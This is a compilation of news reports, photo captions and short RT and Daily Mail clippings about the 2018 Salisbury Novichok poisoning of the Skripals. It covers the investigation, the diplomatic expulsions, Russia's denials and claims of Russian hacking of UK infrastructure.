Both Yulia and Sergei Skripal were found slumped on a park bench in Salisbury, and it was thought it was here where they were poisoned.
Police put on protective suits at The Maltings shopping centre, where former Russian double agent Sergei Skripal and his daughter Yulia were found critically ill 13 days ago
Huge teams of people are combing the area looking for evidence and traces of the nerve agent
Swabs are being bagged up and sent away to nearby Porton Down for forensic testing
The forensic tent where Sergei Skripal was found critically with his daughter on March 4 (pictured today). Initially it was believed they were sprayed with the nerve agent here
Officers guard The Mill pub (pictured today) where the pair had a drink before going to Zizzi . One theory was that their drinks were spiked, but this thesis was shortlived
The Zizzi restaurant where father and daughter dined remains shut and behind barriers today. A situation likely to continue for months
Police working at the poison scene near The Maltings shopping centre in Salisbury today
Sergei's BMW is taken away for testing last week. The theory changed within hours from the toxin being introduced to the ventilation system to Novichok being smeared on the door handles or through its air vents
Graffiti sprayed on the pavement near the entrance to the Russian embassy and ambassador's residence in London yesterday
The Russian Embassy announced today that authorities in Moscow have launched their own investigation into Ms Skripal's attempted murder
Russians living in UK beef up their security amid poisoning fearsA Russian resident at One Hyde Park has reportedly asked for a nuclear bunker-style air filtration system
Russians living in Britain are bumping up security after the Salisbury poisoning with the super-rich demanding more round the clock bodyguards and people to test their food and water.
One millionaire living in London's exclusive One Hyde Park development - the world's most expensive apartment block - wants to install an air filtration system usually found in a nuclear bunkers, a expert revealed today.
Experts claim that clients have been asking for bodyguards and doctors to mind them in case they are attacked.
Others are having any food brought in checked for poison and are refusing to drink tap water.
Becky Fatemi, MD of Rokstone, a central London luxury estate agency said: 'I've already had half a dozen of our Russian clients on the telephone to our Rokstone Concierge Service asking for information on bodyguards, extra security for their houses and dialling in for takeaway food.
'One of my clients is also getting a special filter system connected to their air-conditioning system for their apartment in One Hyde Park.
'They are stopping their usual food deliveries and getting random take-out food orders for safety, and are only drinking bottled water'.
Another report suggested they had been exposed to the substance in a shopping centre.
By March 8, it was said detectives had moved away from the theory that the nerve agent was sprayed directly at Skripal, a source told MailOnline.
They were then instead said to be focusing more on the possibility that poison was added to his food or drink at some point before he collapsed.
This pointed the finger at The Mill pub in Salisbury and the Italian restaurant Zizzi as potential locations as to where they were poisoned.
But these theories were short-lived, with witnesses claiming they saw the chef prepare the risotto they shared at the Italian restaurant.
The notion their drinks were spiked at The Mill were also quickly debunked, seemingly putting investigators back to square one.
The following day, on March 9, Skripal's cul-de-saq in Salisbury had been completely sealed off as police worked on the thesis that the nerve agent was posted through his letterbox.
Again, this came and went, and nearly 200 troops, including Royal Marines and chemical weapons experts, were drafted in to investigate the attack.
The quaint city had now unexpectedly found itself at the centre of the international incident, as investigators began to suspect the Kremlin of being behind the attempted assassination.
While Scotland Yard insisted 'the public should not be alarmed' and public health officials claim the incident poses a 'low risk' to residents, they were not wholly convinced, with locals complaining of being 'kept in the dark'.
On March 10, Amber Rudd came out of the Cobra meeting to say police had obtained 200 pieces of evidence and identified 240 witnesses - suggesting they were no nearer any conclusions.
Police cordon tape surrounds the grave of Alexander Skripal, son of former Russian spy Sergei Skripal, in the cemetery in Salisbury
A blue tent covers Sergei Skripal's son's grave at the cemetery in Salisbury this morning
Investigators at Salisbury Cemetery where they dug up the grave of Sergei Skripal's wife. During this exercise, it was thought a bouquet of flowers were laced with the toxin, causing the former spy to be rendered unconscious
A police officer carries a box outside Sergei Skripal's house in Salisbury. On March 9, Skripal's cul-de-sac in Salisbury was sealed off as police worked on the thesis that the nerve agent was posted through his letterbox
Laborious, secretive and almost undetectable: Why is it taking so long to identify how Russian spy and his daughter were poisoned?Chemical weapons experts are hunting for the tiny trace needed to kill
Police will be struggling to find out how Sergei Skripal and his daughter Yulia were poisoned because they are looking for a 'minute' trace of a weapon that is designed to be undetectable, an expert has told MailOnline.
Hamish de Bretton-Gordon, a former Army Colonel , says Russia's Novichok agent is designed to evade chemical agent monitors - so will be incredibly difficult to find.
Mr de Bretton-Gordon, who is one of Britain's foremost chemical warfare experts, believes the weapon is toxic for several weeks so could have been sent in the post or hidden inside Yulia's suitcase.
It is also highly likely assassins would have been sent to ensure the weapon met its key target by spraying it on their victims' clothes, possessions or inside Sergei's Salisbury home.
Police, the Army and security services may know how it was administered but could be keeping it quiet so as not to alert the Russians, he says.
But if they do not know it could be a very long and difficult process to find out.
Army personnel have been brought in to test every inch of items like cars to see if they can trace the source of the poisoning
He told MailOnline: 'We are talking of a minute amount of agent which is designed to be undetectable by conventional military style chemical agent monitors.
'Basically we have to work out exactly where they went and conduct a very laborious search with in effect laboratory type detectors'.
He added: 'It could be through the post, in a parcel bought back from Russia or delivered by an assassin as a spray or liquid droplets'.
Police are refusing to discuss any theories about the case.
He said: 'I expect the authorities know a bit more but are telling the public what they believe is best. I expect there are some highly confidential facets of this which the Security service are dealing with and do not want to alert the Russians to give them any chance to subvert or refute the evidence'.
And when asked the most likely plot being discussed he said: 'I expect it might be a tiny bit of liquid which has been secreted on clothing or a door handle. They could have received an object which is contaminated and spread it in advertantly and also succumbed to it themselves'.
Once touched it would take around an hour to make someone ill but the poison would be instant if consumed.
Officers dug up Skripal's wife's grave as they scoured the city for clues.
During this exercise, it was thought a bouquet of flowers were laced with the toxin, causing the former spy to be rendered unconscious.
The cordon carried on extending a week after the attack, with cars, vans, parking ticket machines and belongings being seized from as far away as eight miles from Salisbury.
By this time, Theresa May had blamed Russia for the attack and identified the nerve agent used as the deadly Novichok.
But how the substance came into contact with the Skripals was still up in the air.
Moscow has launched a scathing assault on Defence Secretary Gavin Williamson (poictured) accusing him of talking like a 'market wench' and suffering 'intellectual impotency' while preparing Britain for war with Russia
Russia's foreign minister Sergei Lavrov (left), speaking in Kazakhstan, said Mr Williamson may 'lack education'
A day of political mudslinging ensued on March 12 as British-Russian relations plummeted to its lowest point since the Cold War.
On March 13, another leak from the investigation thrust Skripal's maroon BMW into the heart of the probe.
It was initially thought the poison was somehow introduced to the car's ventilation system, and that when the former double agent and his daughter travelled along inside it, they were contaminated.
But later that night, another theory was suggested - that the Novichok was smeared on the car's door handles.
With no answers forthcoming from Scotland Yard, Theresa May banned 23 Russian diplomats from the UK and The Kremlin promised retaliation.
Another day of tit-for-tat rhetoric was thrown around the Westminster and Moscow before a theory entered from left-field - Yulia Skripal was the real target.
Sergei Skripal's niece speculated Yulia had angered her boyfriend's mother - a highly-ranked Russian security official - after saying she wanted to start a family.
But police appeared to still be focussing on the car.
A missing 40 minutes, from 1pm and 1.40pm on the day of the poisoning became the heartbeat of the investigation, with police desperately asking for information.
CCTV footage obtained by the Mail showed the BMW travelling towards the supermarket in the city.
The exact details of the movements of Sergei and his daughter are still being determined, but after visiting Sainsbury's, they went to The Mill pub in The Maltings.
At 2.20pm, they arrived at Italian restaurant Zizzi where they dined before leaving at 3.35pm.
Between the restaurant and a park bench where they were found, there was a possible CCTV sighting on Market Walk at 3.47pm.
Scotland Yard Assistant Commissioner Neil Basu said they remained in a critical condition in hospital, days after they were found slumped on the bench in the Wiltshire city at 4.15pm.
Neither he nor the Met Police Assistant Commissioner Mark Rowley have been able to shed any light on the mystery.
The armed forces and emergency services swooped on Alderholt in Dorset this morning
Two large Army low loaders and a crane escorted by police arrived in the village this morning, and were believed to have taken DS Bailey's vehicle awa t of the Salisbury probe
The armed forces closed off a road in the area where Wiltshire Police Detective Sergeant Nick Bailey - who was taken to hospital following the nerve agent attack - is believed to live
Dorset and Wiltshire Fire and Rescue Service said the activity is related to the Salisbury probe
And as the investigation knocks on the door of its second week and the suitcase has become the latest theory , the public are no clearer as to how the Skripals were poisoned.
The cordon following the Salisbury nerve agent attack yesterday spread to the street of the police officer who responded to the attack amid fears he took traces of it home.
The armed forces and emergency services swooped on the Dorset village of Alderholt this morning - closing off a road where Wiltshire Police Detective Sergeant Nick Bailey, who was taken to hospital following the nerve agent attack, lives.
One police source told MailOnline: 'I understand the investigation is concerned about cross contamination at DS Bailey's address, which suggests he'd gone home.'
Two large Army low loaders and a crane escorted by police arrived in the village yesterday, and were believed to have taken DS Bailey's vehicle away.
Moscow has launched an extraordinary verbal attack on Defence Secretary Gavin Williamson accusing him of talking like a 'market wench' who suffers 'intellectual impotency' after he told the Kremlin to 'go away and shut up'.
The attack highlights the depth of the breakdown in relations between Moscow and London over the Salisbury nerve agent scandal as the Kremlin prepares its tit-for-tat expulsion of British diplomats.
Russian defence ministry spokesman Major-General Igor Konashenkov hit back as part of a concerted Moscow attack on Mr Williamson, who was also branded a 'disgrace' to Britain and accused of acting as if he was still going through puberty.
Russia's foreign minister Sergei Lavrov, speaking in Kazakhstan, said this morning that Mr Williamson may 'lack education'.
In his first major speech, Mr Williamson said yesterday it is 'absolutely atrocious and outrageous what Russia did in Salisbury. We have responded to that. Frankly Russia should go away and should shut up.'
He warned Vladimir Putin any retaliatory action would only escalate tensions as he warned the UK-Russia relationship was now 'exceptionally chilly'.
It came as Theresa May visited the scene of the poison plot for the first time yesterday, receiving flowers from well-wishers as she condemned the 'despicable' act. Downing Street also confirmed she met privately with DS Bailey during her trip to the hospital.
The Prime Minister met members of the emergency services and military at Salisbury's Guildhall, including PC Way and PC Collins from Wiltshire Police.
The two officers were first to respond to the emergency call. PC Collins told the Prime Minister they had believed the incident was 'a routine call'.
Mrs May remarked: 'You had no idea what you were dealing with. Thank you - what you did was what police do day in and day out. A routine call and you don't know what's there. You did a great job.'
And speaking in Salisbury about a joint statement issued by the leaders of France, Germany, the US and the UK which called on Russia to address 'all questions' related to the nerve agent attack, Prime Minister Theresa May: 'This happened in the UK, but it could have happened anywhere and we are taking a united stance against it.'
She added: 'First of all there is a police investigation involving hundreds of officers being undergone into this particular act that took place here on the streets of Salisbury.
'I've been down here today thanking all the emergency services for the work that they have been doing here, meeting the local community, hearing about the impact on the local community and seeing what a great city it is to come and visit.
The investigation is said to be 'concerned about cross contamination at DS Bailey's address'
An ambulance and fire engine in Alderholt, Dorset, this morning as the investigation widens
'It's the all new Maybot': PM casts off her stuffy image as she fist bumps members of the crowd while on a visit to SalisburyTheresa May cast off her stuffy image on a visit to Salisbury yesterday by fist bumping a member of the public who had flocked to see her.
The Prime Minister was famously dubbed the Maybot during the General Election campaign because of her robotic style.
But she adopted an altogether more relaxed approach while visiting the scene of the Russian spy poison plot.
Members of the crowd greeted her with bunches of flowers, while she strolled up to one young member of the crowd and fist bumped them.
Theresa May (pictured yesterday) cast off her stuffy image on a visit to Salisbury by fist bumping a member of the public who had flocked to see her
It came as she visited the Cathedral city where Russian former spy Sergei Skripal and his daughter Yulia were poisoned with the deadly nerve agent Novichok.
Tory MP Nadine Dorries remarked upon the fist bump on Twitter, writing: 'Stay tuned, next up, The Macarena.'
And Vote leave activist Darren Grimes wrote: 'Corbyn the absolute boi? Nah, mate. Theresa May fist bumps members of the public now.'
The Prime Minister was accompanied by police officers and the local MP John Glen as she visited Salisbury for the first time since the atrocity.
'Of course the police investigation will be aiming to bring to justice those who perpetrated this act but we are very clear that Russia is culpable in relation to the use of this particular military-grade nerve agent.
Paramedic at Salisbury drama thought drugs were the causeA paramedic who was among the first to respond to Sergei Skripal and his daughter told the Prime Minister they had initially treated the pair for drugs.
The medic was among members of the emergency services and military who met Theresa May at Salisbury's Guildhall, where she thanked them for their response to the nerve agent attack.
The man, named Ian, said he had been in the first ambulance service response car on the scene. Mrs May asked him: 'At that stage you could only treat for what you can see?'
Salisbury MP John Glen interjected to say he had heard initial reports the incident was drug-related.
To which the paramedic replied: 'Absolutely that's what I was treating for, that's what we treated them for initially.'
Mrs May also met Pc Way and Pc Collins, two Wiltshire Police officers who were first to respond to the emergency call.
Pc Collins told the Prime Minister they had believed the incident was 'a routine call'. He said: 'It was a routine call, two people on a bench, slumped over, which is nothing out of the ordinary.'
Mrs May remarked: 'You had no idea what you were dealing with. Thank you, what you did was what police do day in and day out. A routine call and you don't know what's there. You did a great job.'
Asked about their colleague Detective Sergeant Nick Bailey, who remains in hospital after suffering exposure to the nerve agent, Pc Collins said: 'Obviously our best wishes go to him.'
'Now of course we will be looking at issues about how this came to be here in this country but that is a matter for the police investigation. We must let the police do their job.
'First of all I welcome the statement we've been able to make today with the United States, France and Germany - the support from our allies.
'We've been very clear in attributing this act to Russia, it is right that the UK Government reacts in a robust way to what has happened here in Salisbury.
'That is exactly what we've done - I've announced that we will be expelling 23 Russian diplomats who are undeclared intelligence officers, that will have an impact on their intelligence network.
'There will be other measures we will be taking, looking at extra powers that we can take in relation to hostile state activity, including ensuring that people aren't able to come here into the UK when they are potentially involved in hostile state activity.
'And there are other measures that we will be looking at and if we face further provocation from Russia then there are other measures that we can deploy.
'What is important in the international arena, and we have taken this into Nato, into the United Nations, we'll take it through into the European Union, is that allies are standing alongside us and saying this is part of a pattern of activity that we have seen from Russia in their interference, their disruption that they have perpetrated across a number of countries in Europe.'
Asked if she could guarantee the public were safe, she said: 'Well, Public Health England have been giving public health advice to people here in Salisbury, as has the chief medical officer and their advice is clearly that the risk to public health is low.
'What I've heard from the people here in Salisbury, what I've heard from businesses here in Salisbury, is that they do want to see support, which they will be given both by the council but also by the Government, to ensure that the city can recover, that we see tourists coming back to this city in the numbers we've seen previously.
Mrs May shakes a woman's hand after visiting the scene of the poison plot in Salisbury
Mrs May smiles at a boy as she holds a bunch of flowers while meeting the people of Salisbury
Mrs May waves at people as she leaves the Guildhall in Salisbury following her visit to the city
Prime Minister Theresa May arrives at the scene of the poison plot in Salisbury
Mrs May speaks to Wiltshire Police Temporary Chief Constable Kier Pritchard (left)
Mr Pritchard speaks to Mrs May visits the Wiltshire city where the Skripals were poisoned
'Salisbury is open for business, it's business as usual here. It's a great city, it's a wonderful place to come visit - historic, beautiful, Salisbury is open.'
It came as Home Secretary Amber Rudd was chairing a meeting of the Government's Cobra emergencies committee in London to discuss the latest situation.
Environment Secretary Michael Gove chaired a cross-governmental ministerial recovery group looking at support to provide the people of Salisbury after the plot.
Earlier, Mrs May told reporters in Salisbury: 'We do hold Russia culpable for this brazen, brazen act and despicable act that's taken place on the streets of what is such a remarkable city where people come and visit and enjoy.
'I've come down here also to say thank you to our emergency services, to our police, to our health services, to everybody at Porton Down and elsewhere, Public Health England, who've been working so hard and continue to work hard to investigate and to get to the bottom of those responsible.
'But also to ensure that the public are reassured. It's been great to meet some tourists here in Salisbury, people coming to Salisbury, still enjoying this great city.'
Mrs May stands outside cordoned-off pub The Mill during her visit to Salisbury
Mr Pritchard talks about the scene to Mrs May in Salisbury as she views the local area
Photographers gather around Mrs May as the PM arrives in Salisbury
Mrs May condemned the attack as 'brazen' and 'despicable' as she visited the city
The investigation has led to a series of locations around Salisbury being cordoned off
Salisbury and South Wiltshire MP John Glen tweeted his thanks to the Prime Minister for her visit, adding: 'Your reassuring words and pledge of support for the people of our beautiful cathedral city were greatly appreciated.'
Moscow has warned it will expel British diplomats 'soon' after the Prime Minister announced the biggest expulsion of Russian embassy staff since the Cold War.
Mrs May and French President Emmanuel Macron discussed developments in the case after reports of a lukewarm response from the French government, but Paris later insisted that there was 'no other plausible explanation' for the poisoning.
Foreign Secretary Boris Johnson confirmed the UK will submit a sample of the nerve agent to the Organisation for Prohibition of Chemical Weapons for it to test.
Russian foreign minister Sergei Lavrov said expulsion of British diplomats would 'definitely' happen. The US threw its diplomatic weight behind the UK, saying it 'stands in solidarity with its closest ally'.
A police officer works with his sniffer dog in Salisbury following the poison plot
A police officer stands outside The Mill pub in Salisbury as the investigation continues
Police stand next to a tent over a bench where Sergei and Yulia Skripal were found
A police van is parked next to a tent covering the headstone of Sergei Skripal's son Alexandr
A Zizzi restaurant in Salisbury city centre has been cordoned off by police as they investigate
A statement posted by the French Embassy after the call between the PM and Mr Macron said: 'Since the start of the week, the UK has kept France closely informed of the information collected by the British investigators, and of the elements which show Russian responsibility in the attack.
What action has Theresa May announced against Russia?The PM unveiled the fleet of measures being taken against Russia yesterday
Theresa May has announced a fleet of tough measures against Russia in the wake of the poisoning of former Russian spy Sergei Skripal and his daughter Yulia. They include:
Expulsion of diplomats
Britain will expel 23 Russian embassy staff who have been identified as 'undeclared intelligence officers' from the country within a week.
This is the biggest expulsion of diplomats since 1971 when Ted Heath kicked 90 Soviet staff out after the UK uncovered a large Communist spy ring.
All high-level contacts with Russia will also be suspended in protest.
New and tougher anti-espionage laws will be brought forward to help degrade Russia's capabilities in the UK.
The World Cup:
Ministers and the Royal Family will boycott the football World Cup in Russia this summer.
Britain hopes that other allies will also snub the sporting event .
Tougher Sanctions:
Theresa May also signaled that Russian oligarchs wanting to come into the UK and live the high life in London will face tough new checks and sanctions.
The Government will now back amendments to bring in a Magnitsky Law into the UK - which imposes sanctions on Russians found to be linked to corruption or human rights abuses.
Private plane checks
While checks on Russian nationals coming to the UK will be stepped up.
This will include increased checks on private flights and extra customs checks.
The UK will also freeze Russian state assets.
Cyber warfare?
Mrs May suggested there will be covert action that would not be announced - an apparent hint at cyber attacks.
But this is unlikely to ever be confirmed by the Government officially.
'France shares the assessment of the United Kingdom that there is no other plausible explanation and expresses once again its solidarity regarding its ally.'
A Downing Street spokesman said: 'President Macron said that France completely shares the UK's assessment that there is no plausible explanation other than that Russia was responsible for the attack and he once again expressed his full support for the UK as a close and strong ally.'
Mr Johnson said the UK's response means Russia's intelligence capabilities in the country had been 'basically eviscerated' for decades.
The Foreign Secretary claimed Russian President Vladimir Putin wanted to send a message to any defecting Russians that 'you're going to die'.
Announcing sanctions in the House of Commons, the PM said the attack on ex-spy Sergei Skripal and his daughter Yulia amounted to 'an unlawful use of force by the Russian state against the United Kingdom'.
Mrs May announced the suspension of high-level contacts with Russia, including a boycott of this summer's World Cup by Government ministers and members of the royal family.
She said Russian state assets will be frozen 'wherever we have the evidence that they may be used to threaten the life or property of UK nationals or residents'.
Some 23 Russian diplomats identified as undeclared intelligence officers have been given a week to leave the UK, in the largest mass expulsion since 31 were ordered out in 1985 following the defection of double agent Oleg Gordievsky.
Jeremy Corbyn drew criticism for his stance on the Salisbury incident after his spokesman said the history of the use of information from UK intelligence agencies is 'problematic' and refused to say that the Labour leader accepted the Russian state was at fault.
The spokesman's comments prompted Labour backbencher John Woodcock to table an Early Day Motion 'unequivocally' accepting the 'Russian state's culpability' for the attack, and supporting 'fully' the statement made by Mrs May in the Commons.
Meanwhile new footage has emerged of Sergei Skripal's BMW being driven towards the centre of Salisbury on the day the double agent was poisoned.
CCTV at the Devizes Inn pub in the city captured Skripal driving to the supermarket which has now been cordoned off by counter-terror police, who are desperately trying to piece together his movements.
In the images, Skripal and his daughter Yulia are seen going towards the city centre at 1.35pm on March 4 in a maroon BMW 3-Series. The five-door car drives past the Devizes Inn pub followed by a red Ford Fiesta.
A man likely to be Mr Skripal is seen driving his BMW in Salisbury with his hand on the wheel
Detectives seized the CCTV from the pub on Tuesday night after earlier appealing for information about a crucial missing 40 minutes in the whereabouts of the former spy and his daughter in the car.
What is the Novichok nerve agent used against the Skripals?The Novichok nerve agent used against former Russian spy Sergei Skripal and his daughter Yulia is among the most deadly poisons ever created.
They were secretly developed by the Soviet Union during the height of the Cold war in the 1970s and 1980s.
Communist scientists developed the poison so it would not be able to be detected by Nato's chemical detection equipment.
They come in the form of a ultra-fine powder, Novichok is up to eight times more potent than the deadly VX gas.
Victims who are poisoned by the powder suffer muscle spasms, breathing problems and then cardiac arrest.
There is a known antidote to the nerve agent - atropine can block the poison.
But doctors find it very tricky to administer the antidote because the dose would have to be so high it could prove fatal for the person.
Novichok poisons are highly dangerous to handle, requiring the expertise of skilled scientists in a sophisticated lab.
Dr Vil Mirzayanov, former Chief of the Foreign Technical Counterintelligence Department at Russia's premiere, was among the team of scientists who helped develop the agent.
In an article about the lethal weapon, he wrote: 'They are extremely dangerous '' most likely lethal '' for people who would try to synthesise or manipulate them without the help of highly experienced scientists and engineers in special laboratory installations observing extreme safety measures.
'Without exception, Novichok weapons cannot be used for any reason without specially trained military personnel under medical supervision.'
It is hoped this will help investigators establish the victims' final movements in the hours before they were found critically ill on a bench amid claims a nerve agent could have been smeared on the car's door handles.
Some 35 people in addition to the Skripals and Wiltshire Police Detective Sergeant Nick Bailey have been treated in hospital after the incident.
All have been assessed and discharged - apart from one, whose condition is still being monitored, police said on Tuesday.
Last night, the White House came down firmly on Britain's side as the diplomatic drama shifted to the UN Security Council.
A showdown gathering at the world body saw Britain call on the international chemical weapons watchdog to verify its findings that Moscow is behind the Salisbury incident.
The UK's deputy UN ambassador, Jonathan Allen, told a special meeting of the Security Council that the Organisation for the Prohibition of Chemical Weapons had been asked to go over the British analysis of the attack.
In heated exchanges at the Security Council gathering, Russia strongly denied it was involved in the Salisbury incident, and the US offered Britain its full support.
US ambassador to the UN Nikki Haley said: 'The United States believes that Russia is responsible for the attack on two people in the United Kingdom using a military-grade nerve agent. Dozens of civilians and first responders were also exposed.
'If we don't take immediate concrete measures to address this now, Salisbury will not be the last place we see chemical weapons used. This is a defining moment.'
The Russian permanent representative to the UN, Vassily Nebenzia, said: 'We demand that material proof be provided of the allegedly found Russian trace in this high-resonance event.
'Without this, stating that there is incontrovertible truth is not something that we can take into account.'
Yulia, 33, and Sergei Skripal, 66, are both fighting for their lives following the poison plot
Investigators at The Mill pub in Salisbury yesterday after the incident nearby on March 4
The Mill pub in Salisbury is among the areas of Salisbury being investigated by detectives
Announcing sanctions in the House of Commons, the PM said the attack on ex-spy Sergei Skripal and his daughter Yulia amounted to 'an unlawful use of force by the Russian state against the United Kingdom'.
Timeline of Sergei Skripal's poisoningSunday, March 4th - 4.15pm : Wiltshire Police find a man and woman unconscious on a bench at the The Maltings shopping centre in Salisbury and cordon off the area
Monday, 5th - 11am : Salisbury District Hospital, where the pair were taken, declares a major incident and its A&E department is closed.
8pm: Police officers are first seen outside Mr Skripal's home in Salisbury
10pm : Police close a Zizzi restaurant near the shopping centre.
Tuesday, 6th - 11.30am : Police also cordon off the Bishop's Mill pub in Salisbury, where Mr Skripal and his daughter may have gone after leaving Zizzi.
9pm : Firefighters in Hazmat suits are sent to an ambulance base in Amesbury, eight miles away from the scene where they were found.
Wednesday, 7th - 3:30pm: Cordon around Mr Skripal's house is extended to the top of the cul-de-sac.
Thursday, 8th - 2pm : Police were revealed to have cordoned off the graves of Mr Skripal's wife and son in Salisbury.
2pm: Police also extend the cordon around Mr Skripal's home from 50 yards to 150 yards and around the corner.
7.30pm : Police in protective gear go to Ashley Wood Recovery in Salisbury to examine a maroon BMW-3 series, the same car driven by the former spy.
Friday, 9th - 10am: Military convoy of 180 troops arrives in Salisbury, including chemical weapons experts, to join the investigation.
3pm: Detectives in Hazmat suits descend on Salisbury cemetery and removed items from Mrs Skripal and her son's grave.
Sunday, 11th - The army remove police cars and ambulances thought to have been contaminated.
Monday, 12th - Army close off village of Winterslow and Sainsbury's car park in Salisbury to remove vehicles.
Mrs May announced the suspension of high-level contacts with Russia, including a boycott of this summer's World Cup by Government ministers and members of the royal family.
And she said Russian state assets will be frozen 'wherever we have the evidence that they may be used to threaten the life or property of UK nationals or residents'.
Russia's Ministry for Foreign Affairs branded Mrs May's statement as 'an unprecedentedly crude provocation that undermines the foundations of a normal interstate dialogue between our countries'.
Asked if the UK should be embarrassed it had allowed 'bad people' to park money in London, Security Minister Ben Wallace told BBC2's Newsnight: 'I think we all collectively in the body politic have to take responsibility for that.
'We have allowed the City of London's reputation as a centre for world finance to be exploited by some pretty nasty individuals who have used illicit money flows from around the world to come here, either to harbour it, or to clean it, or to just move it around, or invest it.'
Meanwhile Australia has said it is weighing up joining the UK in taking action against Russia over the Salisbury spy poisoning.
Prime Minister Malcolm Turnbull and Foreign Minister Julie Bishop said the country is 'considering its responses in support of the United Kingdom' over the Salisbury incident.
Mr Turnbull and Ms Bishop said Mrs May had made 'a compelling case' on the Russian state's responsibility for the attack and the country 'stands with the UK in solidarity and supports, in the strongest terms, Prime Minister May's response.'
Their statement said: 'The Australian Government also supports the UK Government's right to take retaliatory measures, including its decision to expel 23 Russian diplomats and to call for an emergency session of the UN Security Council.
'Australia is considering its responses in support of the United Kingdom, in close consultation with the UK Government and other partners.'
Australia already has a range of sanctions in place against Russia, some of which were applied after the downing of Malaysian Airlines MH17 in 2014.
International support grows for Britain following nerve agent attackA number of Britain's most powerful allies have pledged their support as pressure mounts on Russia in the wake of the nerve agent attack on former spy Sergei Skripal in Salisbury.
US : Despite an initially lukewarm response from President Donald Trump and the sacking of secretary of state Rex Tillerson who condemned Russia's alleged actions, the White House has now said America 'stands in solidarity' with the UK, agreeing that Russia was responsible for the attack.
In a statement released yesterday, the US said: 'This latest action by Russia fits into a pattern of behaviour in which Russia disregards the international rules-based order, undermines the sovereignty and security of countries worldwide, and attempts to subvert and discredit Western democratic institutions and processes.'
Mr Tillerson was fired on Tuesday, the day after branding Russia's actions 'outrageous', adding: 'Russia continues to be an irresponsible force of instability in the world, acting with open disregard for the sovereignty of other states and the life of their citizens.'
CANADA : Prime Minister Justin Trudeau announced yesterday that he had spoken with Theresa May offering her Canada's support.
He told reporters: 'The attack is despicable and it is unacceptable that there would be chemical weapons used against citizens of the United Kingdom.'
He added: 'Russia's likely involvement is absolutely unacceptable and needs to be condemned in the strongest terms.'
AUSTRALIA : Prime minister Malcolm Turnbull and foreign minister Julie Bishop announced in a joint statement their support for the UK's decision to expel 23 Russian diplomats in the wake of the attack.
They even said that Australia was itself considering joining the UK in taking action against Russia, stating: 'Australia is considering its responses in support of the United Kingdom, in close consultation with the UK Government and other partners.'
GERMANY : Chancellor Angela Merkel has condemned the attack and promised Theresa May her support in a phone call.
New German foreign minister Heiko Maas said yesterday it is 'disappointing that Russia so far doesn't appear to be prepared' to help clear up the case.
He said that Germany would consult closely with London, adding 'and we can fully and completely understand that Britain had to react to this'.
France: Britain's closest neighbour has been cautious about laying the blame for the attack at Russia's door, but said yesterday it would consult with the UK to coordinate a response and expressed its confidence in Britain's investigation.
EUROPEAN UNION : European Council president Donald Tusk has announced he will be putting the poisoning on the agenda of next week's EU meeting.
He tweeted: 'I express my full solidarity with PM Theresa May in the face of the brutal attack inspired, most likely, by Moscow. I'm ready to put the issue on next week's #EUCO agenda.'
'For real friends, this should be obvious: At a time of fake news spreading, meddling in our elections, and attacks on people on our soil with nerve agent, the response must not be transatlantic bickering but transatlantic unity.'
NORTH ATLANTIC TREATY ORGANIZATION (Nato) : The North Atlantic Council announced its strong support of the UK in a statement released yesterday.
It said: 'Allies expressed deep concern at the first offensive use of a nerve agent on Alliance territory since Nato's foundation.
'Allies expressed solidarity with the UK, offered their support in the conduct of the ongoing investigation, and called on Russia to address the UK's questions including providing full and complete disclosure of the Novichok programme to the Organisation for the Prohibition of Chemical Weapons.
'Allies agreed that the attack was a clear breach of international norms and agreements.'
UK, Slovakia, Sweden, Czech Republic among most probable sources of 'Novichok' '' Moscow '-- RT World News
Sat, 17 Mar 2018 17:17
The substance used in the poisoning of Sergei Skripal may have originated from the countries studying the ''Novichok'' nerve agent, including the UK, Slovakia, the Czech Republic and Sweden, the Russian Foreign Ministry said.
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''The most likely source of origin of the toxin are the countries which have been carrying out intense research on the substances from the 'Novichok' program, approximately since the end of the 1990s until the present time, and this project is not the creation of Russia or the Soviet Union,'' Foreign Ministry spokeswoman Maria Zakharova said on Saturday. She listed the UK, Slovakia, the Czech Republic and Sweden among the countries involved.
The US should also ''be put under question,'' Zakharova said in an interview with the state broadcaster VGTRK.
''How did they come to the conclusion about a Russian 'footprint' if they didn't give us those samples? Logically they shouldn't have this substance. Which samples have they compared with to draw such a conclusion?'' she went on. ''Questions arise: then, they should have samples, which they conceal, or it is a lie from start to finish.''
''If the UK prime minister and other British experts give the formula, then it will be clear which countries have been developing these agents,'' Zakharova said.
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Zakharova's remarks echo those of Russia's representative at the Organization for the Prohibition of Chemical Weapons (OPCW), Aleksandr Shulgin, who said the 'Novichok' research was taken out of the Soviet Union following its collapse. While Shulgin didn't name where the program was smuggled, he said the source of the substance used in Salisbury is ''concealed in one of the countries where this research continued and achieved certain success.''
Earlier, the OPCW said none of its member states has declared possession of the Novichok group of nerve agents.
The Russian-UK double agent Sergei Skripal and his daughter Yulia were poisoned on March 4. Prime Minister Theresa May has accused Russia of being responsible, with a major diplomatic row deepening.
Russia Recycled- 'tried to hack' Britain's national grid | Daily Mail Online
Sun, 18 Mar 2018 12:44
Russia 'tried to hack' Britain's national grid and tried to penetrate telecoms companies including BT, it has been claimed.
National Cyber Security Centre chief Ciaran Martin will confirm in a speech today the a major assault on British major power companies ordered by the Kremlin.
The bombshell reveals how Russia has successfully targeted media organisations and at times, has even brought down websites.
The expert's comments come as the new defence secretary Gavin Williamson warns Russia has increased its number of submarine patrols in the UK waters.
Pictured: National Cyber Security Centre chief Ciaran Martin will confirm in a speech today the assault on major power companies ordered by the Kremlin
According to The Sun, Ciaran Martin will say in a statement later today: 'I can't get into precise details of intelligence matters.
'But I can confirm that Russian interference, seen by the National Cyber Security Centre over the past year, has included attacks on the UK media, telecommunication and energy sectors.'
He will add: 'Russia is seeking to undermine the international system. That much is clear.
'The PM made the point on Monday night - international order as we know it is in danger of being eroded.'
Earlier this week prime minster Theresa May issued a warning to Vladimir Putin over cyber hacking, when she told him: 'We know what you are doing'.
His talk follows PM Theresa May's warning to Russia boss Vladimir Putin on Monday night over cyber hacking, when she told him: 'We know what you are doing'
According to the defence secretary, submarine activity around Britain's coast has increased tenfold in the past six years.
Numbers of submarines sent by the Kremlin to UK waters are now similar to the levels of the Cold War, the new defence secretary Gavin Williamson said.
It comes as former senior military commanders warn that Britain's Armed Forces are 'close to breaking'.
Yesterday, the former head of the Royal Navy, Admiral Sir George Zambellas, told MPs that its anti-submarine warfare capability was 'inadequate' and his successor was struggling with further cuts.
The UK was forced to call upon the US and Canada to help hunt down a suspected Russian submarine just last month. Speaking about the UK's arsenal to deal with the Russian threat, Admiral Zambellas said: 'I think the total of the sum of those parts is in my view inadequate for the current strategic risk.'
